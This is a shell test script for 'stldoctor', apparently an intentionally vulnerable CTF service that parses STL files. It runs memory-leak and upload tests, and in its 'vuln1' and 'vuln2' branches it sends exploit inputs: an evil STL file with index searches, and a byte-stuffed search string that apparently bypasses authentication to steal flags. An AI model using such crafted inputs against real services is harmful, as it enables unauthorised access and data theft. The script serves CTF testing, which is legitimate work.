aboutsummaryrefslogtreecommitdiffstats
path: root/service/tests/test.sh
blob: 48350247aab994412497ed94477f2b01dc85884b (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
#!/bin/sh

set -e

if [ -z "$SRCDIR" -o -z "$DATADIR" ]; then
	echo "Missing either SRCDIR or DATADIR env vars"
	exit 1
fi

export RESULTDIR="$DATADIR/uploads"
export ECHO_INPUT=1

SCRIPTPATH="$(dirname $(readlink -f "$0"))"
TESTDATA="$SCRIPTPATH/data"

shopt -s expand_aliases
alias pushd="pushd &>/dev/null"
alias popd="popd &>/dev/null"

pushd "$SRCDIR"

announce() {
	count=$(echo "$1" | wc -c)
	python3 -c "
import math
s = '$1'
c = 80
print()
print('#'*c)
print('#' + ' '*math.floor((c - len(s))/2-1) + s + ' '*math.ceil((c - len(s))/2-1) + '#')
print('#'*c)
print()
	"
}

checkleaks() {
	valgrind --leak-check=full --show-leak-kinds=all ./build/stldoctor 2>&1 | tee /tmp/testlog
	if [ -z "$(grep "no leaks are possible" /tmp/testlog)" ]; then
		echo "Valgrind exited with errors!"
		exit 1
	fi
}

connect() {
	if [ "$RUNTYPE" == "remote" ]; then
		nc localhost 9090
	elif [ "$RUNTYPE" == "debug" ]; then
		checkleaks
	else
		./build/stldoctor
	fi
}

cleanuploads() {
	[ ! -z "$RESULTDIR" ] && rm -rf "$RESULTDIR"
	mkdir -p "$RESULTDIR"
}

if [ "$1" == "stl-leaks" ]; then
	cleanuploads

	announce "Testing ASCII STL Parsing"
	(
		echo "echo"
		echo "upload"
		cat "$TESTDATA/sample-ascii.stl" | wc -c
		cat "$TESTDATA/sample-ascii.stl"
		echo "ASCII-testname"
	) | checkleaks

	announce "Testing BIN STL Parsing"
	(
		echo "echo"
		echo "upload"
		cat "$TESTDATA/sample-binary.stl" | wc -c
		cat "$TESTDATA/sample-binary.stl"
		echo "BIN-testname"
	) | checkleaks

elif [ "$1" == "stl-upload" ]; then
	cleanuploads

	popd
	file="$(realpath $2)"
	if [ ! -e "$file" ]; then
		echo "Supply a file to upload"
		exit 1
	fi
	pushd "$SRCDIR"

	name="${3:-samplefile}"
	(
		echo "echo"
		echo "upload"
		cat "$file" | wc -c
		cat "$file"
		echo "$name"
	) | checkleaks

elif [ "$1" == "vuln1" ]; then
	cleanuploads

	announce "Testing Flagstore 1"

	echo -e "\n--- Uploading target STL ---\n" 1>&2
	(
		echo "echo"
		echo "upload"
		cat "$TESTDATA/flag1.stl" | wc -c
		cat "$TESTDATA/flag1.stl"
		echo "N0TaFL4G"
		echo "exit"
	) | connect

	echo -e "\n--- Uploading evil STL ---\n" 1>&2
	(
		echo "echo"
		echo "upload"
		cat "$TESTDATA/evil1.stl" | wc -c
		cat "$TESTDATA/evil1.stl"
		echo "EV1L"
		echo "exit"
	) | connect

	echo -e "\n--- Testing Exploit ---\n" 1>&2
	(
		echo "echo"

		# try index 0
		echo "search"
		echo "EV1L"
		echo "0"
		echo "n"

		echo "search last"
		echo "0"
		echo "n"

		# try index 1
		echo "search"
		echo -e "EV1L"
		echo "0"
		echo "n"

		echo "search last"
		echo "1"
		echo "n"
		echo "exit"
	) | connect

elif [ "$1" == "vuln2" ]; then
	cleanuploads

	announce "Testing Flagstore 2"

	echo -e "\n--- Uploading target STL ---\n" 1>&2
	(
		echo "echo"
		echo "auth test"
		echo "upload"
		cat "$TESTDATA/flag1.stl" | wc -c
		cat "$TESTDATA/flag1.stl"
		echo "N0TaFL4G"
		echo "exit"
	) | connect

	echo -e "\n--- Testing Exploit ---\n" 1>&2
	(
		echo "echo"
		echo -e "search \xff\xff\xff\xff\xff0000000000000000"
		echo "auth"
		echo "list"
		echo "exit"
	) | connect

elif [ "$1" == "auth-upload" ]; then
	cleanuploads

	(
		echo "echo"

		echo "auth test"
		echo "upload"
		cat "$TESTDATA/sample-ascii.stl" | wc -c
		cat "$TESTDATA/sample-ascii.stl"
		echo "testname"
	) | connect

	(
		echo "echo"

		echo "auth test"
		echo "list"
		echo "search testname"
	) | connect
else
	connect
fi

popd